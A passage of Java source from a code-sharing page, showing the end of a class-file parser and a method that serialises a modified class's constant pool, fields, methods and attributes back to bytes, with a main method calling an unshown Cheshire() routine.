  1435.                     int attribute_length_int = ByteBuffer.wrap(attribute_length).getInt();
  1436.                     byte[] attribute_bytes = new byte[attribute_length_int];
  1437.                     dis.read(attribute_bytes);
  1438.                     attribute.write(attribute_bytes);
  1439.                     attributes[attribute_loop] = attribute.toByteArray();
  1440.                 }
  1441.                 parsedClass.put("attributes", attributes);
  1442.                 dis.close();
  1443.                 //fis.close();
  1444.                 return parsedClass;
  1445.  
  1446.             } else {
  1447.                 return null;
  1448.             }
  1449.         }
  1450.         catch(IOException e){
  1451.             e.printStackTrace();
  1452.         }
  1453.         return null;
  1454.     };
  1455.  
  1456.     /**
  1457.      * Convert a manipulated class back to bytes for writing.
  1458.      * @param parsedClass
  1459.      * @return
  1460.      * @throws IOException
  1461.      */
  1462.     public static byte[] classBytes(HashMap<String, Object> parsedClass) throws IOException {
  1463.         ByteArrayOutputStream bos = new ByteArrayOutputStream();
  1464.         bos.write((byte[]) parsedClass.get("magic"));
  1465.         bos.write((byte[]) parsedClass.get("minor_version"));
  1466.         bos.write((byte[]) parsedClass.get("major_version"));
  1467.         byte[][] constant_pool = (byte[][]) parsedClass.get("constant_pool");
  1468.         int cp_length = constant_pool.length + 1;
  1469.  
  1470.         ByteBuffer b = ByteBuffer.allocate(2);
  1471.         b.putShort((short) cp_length);
  1472.         byte[] cp_length_bytes = b.array();
  1473.         bos.write(cp_length_bytes);
  1474.  
  1475.         for(int i = 0; i < constant_pool.length; i++){
  1476.             bos.write(constant_pool[i]);
  1477.         }
  1478.         bos.write((byte[]) parsedClass.get("access_flags"));
  1479.         bos.write((byte[]) parsedClass.get("this_class"));
  1480.         bos.write((byte[]) parsedClass.get("super_class"));
  1481.         bos.write((byte[]) parsedClass.get("interfaces_count"));
  1482.         byte[][] interfaces = (byte[][]) parsedClass.get("interfaces");
  1483.         for(int i = 0; i < interfaces.length; i++){
  1484.             bos.write(interfaces[i]);
  1485.         }
  1486.         bos.write((byte[]) parsedClass.get("fields_count"));
  1487.         byte[][] fields = (byte[][]) parsedClass.get("fields");
  1488.         for(int i = 0; i < fields.length; i++){
  1489.             bos.write(fields[i]);
  1490.         }
  1491.  
  1492.         byte[][] methods = (byte[][]) parsedClass.get("methods");
  1493.  
  1494.         b.clear();
  1495.         b.putShort((short) methods.length);
  1496.         byte[] methods_count = b.array();
  1497.         bos.write(methods_count);
  1498.         for(int i = 0; i < methods.length; i++){
  1499.             bos.write(methods[i]);
  1500.         }
  1501.  
  1502.         bos.write((byte[]) parsedClass.get("attributes_count"));
  1503.  
  1504.         byte[][] attributes = (byte[][]) parsedClass.get("attributes");
  1505.         for(int i = 0; i < attributes.length; i++){
  1506.             bos.write(attributes[i]);
  1507.         }
  1508.  
  1509.         return bos.toByteArray();
  1510.     }
  1511.  
  1512.     public static void main(String[] args) throws IOException{
  1513.         Cheshire();
  1514.         System.exit(0);
  1515.     }
  1516. }
Tags: Self examine
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement